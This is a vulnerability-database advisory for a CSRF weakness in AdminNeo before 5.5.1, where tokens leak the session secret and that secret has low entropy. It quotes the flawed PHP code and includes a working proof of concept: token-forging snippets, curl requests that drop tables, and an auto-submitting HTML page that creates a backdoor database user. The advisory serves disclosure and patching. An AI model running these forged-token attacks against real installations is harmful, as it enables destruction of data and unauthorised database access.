Vulnerability Database

413,718

Total vulnerabilities in the database

CVE-2026-96629 — adminneo-org / adminneo

Use of Insufficiently Random Values

Summary

AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.

Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh

Details

Token generation in admin/include/functions.inc.php lines 1181-1184:

function get_token() { $rand = rand(1, 1e6); return ($rand ^ $_SESSION["token"]) . ":$rand"; }

Token verification in lines 1189-1192:

function verify_token() { list($token, $rand) = explode(":", $_POST["token"]); return ($rand ^ $_SESSION["token"]) == $token; }

Session token initialized in admin/include/auth.inc.php lines 327 and 385:

$_SESSION["token"] = rand(1, 1e6);

Three distinct weaknesses:

  1. Instant recovery: The token format (rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.
  2. Low entropy: Only 1,000,000 possible session tokens (~20 bits). Blind brute-force requires at most 1M requests.
  3. Loose comparison: verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.

PoC

Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).

Step 1: Observe a single CSRF token

Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:

<input type='hidden' name='token' value='222277:990527'>

Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.

Step 2: Recover the session secret (instant, 1 XOR operation)

observed = "542273:441804" masked, rand_val = observed.split(":") session_secret = int(masked) ^ int(rand_val) # Result: 817530

The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.

Step 3: Forge unlimited valid CSRF tokens

import random forge_rand = random.randint(1, 1000000) forged = f"{forge_rand ^ session_secret}:{forge_rand}" # Example output: 729376:481370

Each forged token is unique and valid. The attacker can generate as many as needed.

Step 4: Execute arbitrary SQL with the forged token

# Forged token used to DROP a table the attacker never had a token for: curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=729376:481370" \ --data-urlencode "query=DROP TABLE csrf_victim_table;" \ -d "limit=0"

Step 5: Verify a random wrong token is rejected (control)

curl -b victim_cookies.txt \ 'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \ --data-urlencode "token=111:222" \ --data-urlencode "query=SELECT 1" -d "limit=1" # Result: "Invalid CSRF token. Send the form again."

Weaponized CSRF attack page

In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:

<html><body> <h1>Click here for free database optimization tips</h1> <!-- Attacker recovered secret 817530 from an observed token --> <!-- Forged token: 729376:481370 --> <iframe style="display:none" name="x"></iframe> <form id="f" method="POST" target="x" action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql="> <input type="hidden" name="token" value="729376:481370"> <input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;"> <input type="hidden" name="limit" value="0"> </form> <script>document.getElementById('f').submit();</script> </body></html>

Impact

  • Cross-Site Request Forgery against authenticated AdminNeo users. Validated: forged token used to CREATE TABLE, INSERT data, SELECT data, and DROP TABLE — all accepted by the server.
  • An attacker who observes a single CSRF token (via Referrer header, proxy logs, XSS, or network sniffing) can instantly recover the session secret and forge unlimited valid tokens.
  • With a forged token, the attacker can execute arbitrary SQL through the victim's session: drop tables/databases, exfiltrate data, create backdoor users, or modify records.
  • The low entropy (~20 bits, 1M possible values) also enables blind brute-force without observing any token, requiring at most 1M requests (~17 minutes at 1000 req/sec).

CVSS v3:

  • Severity: Medium
  • Score: 6.8
  • AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H

CWEs:

Software Affected versions
Composer icon adminneo-org / adminneo < 5.5.1

Is CVE-2026-96629 exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.